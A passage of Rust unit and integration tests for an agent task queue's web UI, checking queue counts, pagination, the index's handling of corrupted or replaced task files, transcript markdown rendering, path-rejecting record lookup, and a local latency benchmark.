24543        let home = tempfile::tempdir().unwrap();
24544        let ui = delta_test_ui(home.path());
24545        let mut task = Task::new(
24546            "task".into(),
24547            "body".into(),
24548            PathBuf::from("/repo"),
24549            Source::Human,
24550        );
24551        ui.queue.put(&mut task).unwrap();
24552        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
24553        let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
24554        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
24555        let expected = parsed + usize::from(!cfg!(unix));
24556        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
24557        task.status = crate::queue::TaskStatus::Held;
24558        ui.queue.put(&mut task).unwrap();
24559        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
24560        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
24561        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
24562        ui.queue.put(&mut task).unwrap();
24563        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
24564        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
24565        assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
24566    }
24567
24568    #[tokio::test]
24569    async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
24570        let home = tempfile::tempdir().unwrap();
24571        let ui = delta_test_ui(home.path());
24572        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
24573        let before = health(State(ui.clone())).await.unwrap().0;
24574        ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
24575        let after = health(State(ui)).await.unwrap().0;
24576        assert_ne!(before.notifications_rev, after.notifications_rev);
24577        assert_eq!(after.notifications_unread, 1);
24578    }
24579
24580    #[tokio::test]
24581    async fn list_pages_bound_history_and_keep_dependency_evidence() {
24582        let home = tempfile::tempdir().unwrap();
24583        let ui = delta_test_ui(home.path());
24584        let queue = &ui.queue;
24585        let talks = &ui.talks;
24586        for i in 0..1000 {
24587            let id = format!("20261019-{i:06}-page");
24588            let mut task = Task::new(
24589                "task".into(),
24590                "instruction".repeat(100),
24591                PathBuf::from("/repo/magi"),
24592                Source::Human,
24593            );
24594            task.id = id.clone();
24595            if i == 0 {
24596                task.status = crate::queue::TaskStatus::Held;
24597            } else if i == 999 {
24598                task.status = crate::queue::TaskStatus::Blocked;
24599                task.blocked_by = vec!["20261019-000000-page".into()];
24600            }
24601            queue.put(&mut task).unwrap();
24602            seed_talk_at(talks, &id, "open");
24603        }
24604        let page = serde_json::to_value(
24605            queue_page(State(ui.clone()), Query(PageQuery::default()))
24606                .await
24607                .unwrap()
24608                .0,
24609        )
24610        .unwrap();
24611        assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24612        assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
24613        assert!(
24614            !page["rows"][0]["stuck_roots"]
24615                .as_array()
24616                .unwrap()
24617                .is_empty()
24618        );
24619        let cursor = page["next"].as_str().unwrap();
24620        let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
24621            .as_str()
24622            .unwrap();
24623        // Deleting an already enumerated file cannot shift or repeat a page.
24624        std::fs::remove_file(queue.path_of(last_id)).unwrap();
24625        let next = serde_json::to_value(
24626            queue_page(
24627                State(ui.clone()),
24628                Query(PageQuery {
24629                    before: Some(cursor.into()),
24630                }),
24631            )
24632            .await
24633            .unwrap()
24634            .0,
24635        )
24636        .unwrap();
24637        assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24638        assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
24639        let chats = serde_json::to_value(
24640            talks_page(
24641                State(ui.clone()),
24642                Query(PageQuery::default()),
24643                header::HeaderMap::new(),
24644            )
24645            .await
24646            .unwrap()
24647            .0,
24648        )
24649        .unwrap();
24650        assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24651        assert!(chats["rows"][0].get("pending").is_none());
24652        assert!(chats["rows"][0].get("turn_bodies_md").is_none());
24653        let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
24654        assert_eq!(counts["held"], 1);
24655        assert_eq!(counts["blocked"], 1);
24656        assert_eq!(counts["queued"], 997);
24657    }
24658
24659    #[test]
24660    fn queue_index_observes_external_replacement_deletion_and_corruption() {
24661        let dir = tempfile::tempdir().unwrap();
24662        let ui = delta_test_ui(dir.path());
24663        let mut task = Task::new(
24664            "task".into(),
24665            "body".into(),
24666            PathBuf::from("/repo"),
24667            Source::Human,
24668        );
24669        task.runs = vec!["run-a".into()];
24670        ui.queue.put(&mut task).unwrap();
24671        assert!(ui.find_task_for_run("run-a").unwrap().is_some());
24672        task.runs = vec!["run-b".into()];
24673        let path = ui.queue.path_of(&task.id);
24674        let modified = path.metadata().unwrap().modified().unwrap();
24675        let replacement = path.with_extension("replacement");
24676        let bytes = serde_json::to_vec_pretty(&task).unwrap();
24677        assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
24678        std::fs::write(&replacement, &bytes).unwrap();
24679        std::fs::File::options()
24680            .write(true)
24681            .open(&replacement)
24682            .unwrap()
24683            .set_times(std::fs::FileTimes::new().set_modified(modified))
24684            .unwrap();
24685        std::fs::rename(&replacement, &path).unwrap();
24686        assert!(ui.find_task_for_run("run-a").unwrap().is_none());
24687        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
24688        std::fs::write(&path, "broken").unwrap();
24689        assert!(ui.find_task_for_run("run-b").is_err());
24690        std::fs::write(&path, bytes).unwrap();
24691        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
24692        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
24693        assert!(ui.find_task_for_run("run-b").unwrap().is_none());
24694    }
24695
24696    #[tokio::test]
24697    async fn conversation_core_is_independent_of_unreadable_related_history() {
24698        let home = tempfile::tempdir().unwrap();
24699        let ui = delta_test_ui(home.path());
24700        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24701        std::fs::create_dir_all(ui.queue.root()).unwrap();
24702        std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
24703        let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
24704            .await
24705            .unwrap();
24706        assert_eq!(core.talk.id, id);
24707        assert!(talk_sections(State(ui), Path(id)).await.is_ok());
24708    }
24709
24710    #[tokio::test]
24711    async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
24712        let home = tempfile::tempdir().unwrap();
24713        let ui = delta_test_ui(home.path());
24714        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
24715        let mut task = Task::new(
24716            "Referenced task".into(),
24717            "Unrelated instruction history".repeat(1024),
24718            home.path().into(),
24719            Source::Human,
24720        );
24721        task.id = "20261019-000000-abcd".into();
24722        ui.queue.put(&mut task).unwrap();
24723        let mut conversation = ui.talks.get(&id).unwrap();
24724        conversation.turns.push(talk::Turn {
24725            sender: Some(talk::Sender::Persona),
24726            who: talk::Who::Agent,
24727            body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
24728            at: conversation.created_at,
24729            attachments: Vec::new(),
24730            usage: None,
24731            breaks: None,
24732            messages: Vec::new(),
24733            posted_by: None,
24734        });
24735        ui.talks.put(&mut conversation).unwrap();
24736
24737        let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
24738        let markdown = serde_json::to_value(&core.turn_bodies_md)
24739            .unwrap()
24740            .to_string();
24741        assert!(markdown.contains("\"strong\""));
24742        assert!(markdown.contains("\"table\""));
24743        assert!(markdown.contains("\"bullet_list\""));
24744        assert!(markdown.contains("\"code_block\""));
24745        assert!(!markdown.contains("\"internal_link\""));
24746        assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
24747        assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
24748        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
24749
24750        // Deferred decoration still resolves the same validated task, without
24751        // touching opaque code blocks or changing the original transcript.
24752        let references = ui.references.for_talk(home.path(), &conversation);
24753        let mut decorated = core.turn_bodies_md[0].clone();
24754        references.markdown(&mut decorated);
24755        let decorated = serde_json::to_value(decorated).unwrap().to_string();
24756        assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
24757        assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
24758        assert_eq!(
24759            ui.talks.get(&conversation.id).unwrap().turns[0].body,
24760            conversation.turns[0].body
24761        );
24762    }
24763
24764    #[tokio::test]
24765    async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
24766        let home = tempfile::tempdir().unwrap();
24767        let ui = delta_test_ui(home.path());
24768        let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24769        let mut run = RunState::new(
24770            PathBuf::from("/repo"),
24771            "main".into(),
24772            "01234567".into(),
24773            "Useful run".into(),
24774            Config::default(),
24775        );
24776        run.save_under(home.path()).unwrap();
24777        let mut task = Task::new(
24778            "Related".into(),
24779            "body".into(),
24780            PathBuf::from("/repo"),
24781            Source::Agent {
24782                run: talk_id.clone(),
24783                node: "chat".into(),
24784            },
24785        );
24786        task.runs = vec![run.id.clone()];
24787        ui.queue.put(&mut task).unwrap();
24788        std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
24789        assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
24790        assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
24791        assert!(
24792            run_detail(State(ui.clone()), Path(run.id.clone()))
24793                .await
24794                .is_ok()
24795        );
24796        assert!(
24797            talk_sections(State(ui.clone()), Path(talk_id.clone()))
24798                .await
24799                .is_ok()
24800        );
24801        // Previously indexed corruption must not masquerade as no relationship.
24802        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
24803        assert!(ui.find_task_for_run(&run.id).is_err());
24804        assert!(ui.find_tasks_for_talk(&talk_id).is_err());
24805        ui.queue.put(&mut task).unwrap();
24806        assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
24807    }
24808
24809    #[tokio::test]
24810    async fn conversation_sections_omit_large_task_instructions() {
24811        let home = tempfile::tempdir().unwrap();
24812        let ui = delta_test_ui(home.path());
24813        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24814        let mut task = Task::new(
24815            "filed task".into(),
24816            "large instruction ".repeat(65536),
24817            PathBuf::from("/repo"),
24818            Source::Agent {
24819                run: id.clone(),
24820                node: "chat".into(),
24821            },
24822        );
24823        ui.queue.put(&mut task).unwrap();
24824        let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
24825        assert_eq!(sections["tasks"][0]["id"], task.id);
24826        assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
24827        assert!(sections["tasks"][0].get("instruction").is_none());
24828        assert!(serde_json::to_vec(&sections).unwrap().len() < 8192);
24829    }
24830
24831    #[test]
24832    fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
24833        let home = tempfile::tempdir().unwrap();
24834        let talks = Talks::at(home.path().join("talks"));
24835        seed_talk_at(&talks, "20261019-000001-abcd", "open");
24836        seed_talk_at(&talks, "20261019-000002-abcd", "open");
24837        std::fs::write(home.path().join("outside.json"), "{}").unwrap();
24838        assert!(resolve_talk(&talks, "../outside").is_err());
24839        assert!(resolve_talk(&talks, "abcd").is_err());
24840        assert_eq!(
24841            resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
24842            "20261019-000001-abcd"
24843        );
24844    }
24845
24846    include!(concat!(
24847        env!("CARGO_MANIFEST_DIR"),
24848        "/tests/web_latency/baseline.rs"
24849    ));
24850
24851    include!(concat!(
24852        env!("CARGO_MANIFEST_DIR"),
24853        "/tests/web_latency/lists.rs"
24854    ));
24855
24856    #[tokio::test]
24857    #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
24858    async fn web_history_latency_measurement() {
24859        use std::time::Instant;
24860        let home = tempfile::tempdir().unwrap();
24861        let ui = delta_test_ui(home.path());
24862        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24863        let mut template = ui.talks.get(&id).unwrap();
24864        template.turns = serde_json::from_value(serde_json::json!([{
24865            "who": "operator", "body": "Show the accumulated work and its current status.",
24866            "at": Timestamp::now().to_string(),
24867        }]))
24868        .unwrap();
24869        std::fs::write(
24870            ui.talks.path_of(&id),
24871            serde_json::to_vec(&template).unwrap(),
24872        )
24873        .unwrap();
24874        let count = std::env::var("MAGI_BENCH_RECORDS")
24875            .ok()
24876            .and_then(|s| s.parse::<usize>().ok())
24877            .unwrap_or(1000);
24878        for i in 0..count {
24879            template.id = format!("20261019-{i:06}-history");
24880            template.pending = "history ".repeat(2048);
24881            std::fs::write(
24882                ui.talks.path_of(&template.id),
24883                serde_json::to_vec(&template).unwrap(),
24884            )
24885            .unwrap();
24886            let mut task = Task::new(
24887                "old task".into(),
24888                "instruction ".repeat(2048),
24889                PathBuf::from("/repo"),
24890                Source::Human,
24891            );
24892            task.id = format!("20261019-{i:06}-task");
24893            ui.queue.put(&mut task).unwrap();
24894        }
24895        for baseline in [true, false] {
24896            for clients in [1, 4] {
24897                let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
24898                let mut samples = Vec::new();
24899                for _ in 0..12 {
24900                    let mut jobs = Vec::new();
24901                    for _ in 0..clients {
24902                        let ui = ui.clone();
24903                        let id = id.clone();
24904                        jobs.push(tokio::spawn(async move {
24905                            let start = Instant::now();
24906                            if baseline {
24907                                let response =
24908                                    baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
24909                                let elapsed = start.elapsed().as_secs_f64() * 1000.0;
24910                                return (
24911                                    elapsed,
24912                                    elapsed,
24913                                    serde_json::to_vec(&response).unwrap().len(),
24914                                );
24915                            }
24916                            let core = talk_core(State(ui.clone()), Path(id.clone()));
24917                            let secondary = talk_sections(State(ui), Path(id));
24918                            let (first, total) = tokio::join!(
24919                                async {
24920                                    let value = core.await.unwrap().0;
24921                                    (
24922                                        start.elapsed().as_secs_f64() * 1000.0,
24923                                        serde_json::to_vec(&value).unwrap().len(),
24924                                    )
24925                                },
24926                                async {
24927                                    let value = secondary.await.unwrap().0;
24928                                    (
24929                                        start.elapsed().as_secs_f64() * 1000.0,
24930                                        serde_json::to_vec(&value).unwrap().len(),
24931                                    )
24932                                }
24933                            );
24934                            (first.0, first.0.max(total.0), first.1 + total.1)
24935                        }));
24936                    }
24937                    for job in jobs {
24938                        samples.push(job.await.unwrap());
24939                    }
24940                }
24941                let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
24942                let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
24943                first.sort_by(f64::total_cmp);
24944                total.sort_by(f64::total_cmp);
24945                let n = first.len();
24946                let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
24947                println!(
24948                    "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
24949                    first[n / 2],
24950                    first[(n * 95 / 100).min(n - 1)],
24951                    total[n / 2],
24952                    total[(n * 95 / 100).min(n - 1)],
24953                    samples[0].2
24954                );
24955            }
24956        }
24957    }
24958
24959    #[test]
24960    fn app_js_contains_progressive_rendering_and_decoupled_reports() {
24961        // Assert that app.js decouples loadRun and does not block on Promise.allSettled for reports
24962        assert!(!APP_JS.contains("Promise.allSettled([\n    getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
24963        assert!(APP_JS.contains("function nextRunRequest(id)"));
24964        assert!(APP_JS.contains("function runShell(id, summary)"));
24965        assert!(APP_JS.contains("function nextTaskRequest(id)"));
24966        assert!(APP_JS.contains("function taskShell(id, summary)"));
24967        assert!(APP_JS.contains("state.detail.reportLoading = false;"));
24968    }
24969}